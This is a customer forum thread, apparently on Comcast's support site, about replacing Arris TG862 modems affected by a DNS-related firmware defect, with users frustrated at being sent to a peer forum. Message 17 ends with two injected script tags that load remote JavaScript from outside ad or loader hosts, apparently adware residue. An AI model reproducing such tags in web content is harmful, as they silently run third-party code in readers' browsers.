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Request for replacement modem

Posted by
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Message 1 of 26
9,446 Views

I have the Arris TG862 that has known issues.  The Comcast device list page states to request a new modem on this page , but where am I suppost to make the request?  By posting a new message? Another fantastic example of customer service by Comcast.

 

 

Arris Touchstone Telephony Wireless Gateway Modem TG862G (IMS)
Device Details
Special Note on this DeviceComcast has identified a software defect on the Arris TG852 and TG862, which may cause problems for a small number of users attempting to use third party DNS services. Arris and Comcast are working to correct this issue and will deploy updated device firmware to resolve the issue. If a customer does not wish to wait for the updated firmware, the customer may go to Connectivity and Modem Help to arrange to have a replacement device provided at no cost to the customer.
       
25 REPLIES
Posted by
Silver Problem Solver

Message 2 of 26
9,440 Views

I have to agree, pointing you to this forum is pretty useless. Comcast employees do visit, but your request will probably go unnoticed.

 

All I can suggest is calling in, or if that fails sign up to the Comcast Direct forum here:

 

https://secure.dslreports.com/forum/comcastdirect

 

There, you can have a one to one with a Comcast employee.

Posted by
Gold Problem Solver

Message 3 of 26
9,425 Views

I have notifed the Administrator of the issue directing Users here.  Hopefully, someone will get it fixed. 

CC



Need Email Help? Please post the following information in your post.
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Details of the problem you are having.




Posted by
Connection Expert

Message 4 of 26
9,354 Views

Do  you have a Comcast office nearby ? If so, you could probably have it swapped there.




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Posted by
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Message 5 of 26
9,318 Views

I have the same problem and also was directed here to quest a new modem.  I will take my modem to the local Comcast office tomorrow and ask the to replace it.  I don't expect any help from a forum.

Posted by
Connection Expert

Message 6 of 26
9,312 Views

tangdalun wrote:

I have the same problem and also was directed here to quest a new modem.  I will take my modem to the local Comcast office tomorrow and ask the to replace it.  I don't expect any help from a forum.


This is primarily a customer to customer type of help venue. Fellow customers can't replace your modem, sorry.




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Posted by
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Message 7 of 26
9,271 Views

Thank you.  I know a fellow customer can't replace my modem, but I was directed to this forum for the specific reason of requesting a new modem.  I thought perhaps Comcast had made a mistake and actually knew what they were doing.

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Message 8 of 26
9,267 Views

That is exactly my point.  Yet Comcast directs already annoyed and frustrated customers to the forum to do so.

Posted by
Problem Solver

Message 9 of 26
9,015 Views

As EG stated this is a customer to customer forum. I do monitor the forums but the main idea is for the forum to be customer facing. While requesting a new modem we always recommend visiting your local area office first as this will be the fastest way to have it replaced.

 

For the modem issue this affects mainly customers who use a 3rd party DNS such as OpenDNS. Are you having any other issues? 




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Posted by
Gold Problem Solver

Message 10 of 26
9,009 Views
Posted by
Connection Expert

Message 11 of 26
9,002 Views

Double DITTO !




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Posted by
Problem Solver

Message 12 of 26
8,984 Views

For customers having dns issue we can send out a replacement. Pointing customers to our forums was the best place to track all customers having issues and sending out replacements.




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Posted by
Gold Problem Solver

Message 13 of 26
8,950 Views

I see.

 

If you'll notice, the two posters in this thread, and others elsewhere, arrive at the forum with no idea what to do next. If you're going to send them here, shouldn't you at least have a sticky post advising them what they should do when they get here?

 

Confusion is not good for customers or Comcast.

Posted by
Connection Expert

Message 14 of 26
8,936 Views

I was told to go here

http://www.comcast.com/deviceupgrade/?SCRedirect=true

but it take a long time to get one

local office might be faster




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Posted by
Connection Expert

Message 15 of 26
8,925 Views

BruceW wrote:

I see.

 

If you'll notice, the two posters in this thread, and others elsewhere, arrive at the forum with no idea what to do next. If you're going to send them here, shouldn't you at least have a sticky post advising them what they should do when they get here?

 

Confusion is not good for customers or Comcast.


Still couldn't agree more. This place is not manned by Comcast employees, let alone 24/7. It's SENSELESS to direct them to come here for this type of support.....




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Posted by
Problem Solver

Message 16 of 26
8,901 Views

Agreed.  This makes little sense.  

 

Further, customers are somewhat "isolated" from the local Comcast centers now, as they do not promote a direct local number to contact them, rather one is directed to the CS line.

 

If one wants to attempt a swap via the local office, one needs to bring the modem in, and then see if they have anything appropriate in stock.

 

Based on the current operational model, the clear advice should be to have a customer desiring a swap on their modem to call Comcast CS first.

Posted by
Visitor
Message 17 of 26
8,157 Views

i was sent a letter to upgrade my modem for free the site the sent does not work can you please send me the upjrade

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
Posted by
Connection Expert

Message 18 of 26
8,152 Views

This is mainly a customer to customer type of help venue here so you are not speaking directly to Comcast employees. Pleas re-visit the info in this thread about how to proceed.




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Posted by
Connection Expert

Message 19 of 26
8,128 Views

this may be what you are looking for

http://www.comcast.com/deviceupgrade/?SCRedirect=true

that is to rent

 

http://mynewmodem.comcast.net/

this one is to buy




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Posted by
Connection Expert

Message 20 of 26
8,059 Views

N.M.......




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Posted by
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Message 21 of 26
7,776 Views

     I would like a new moden please ,   Please send me one soon?

Posted by
Connection Expert

Message 22 of 26
7,762 Views

Please re-read this thread from the beginning.




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Posted by
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Message 23 of 26
7,706 Views

need a cable modem

Posted by
Connection Expert

Message 24 of 26
7,679 Views

Read up.




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Posted by
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Message 25 of 26
7,666 Views

comcast we are requesting a replacement modem, Keven E. Wright

Posted by
Connection Expert

Message 26 of 26
7,654 Views

Please re-read this entire thread......




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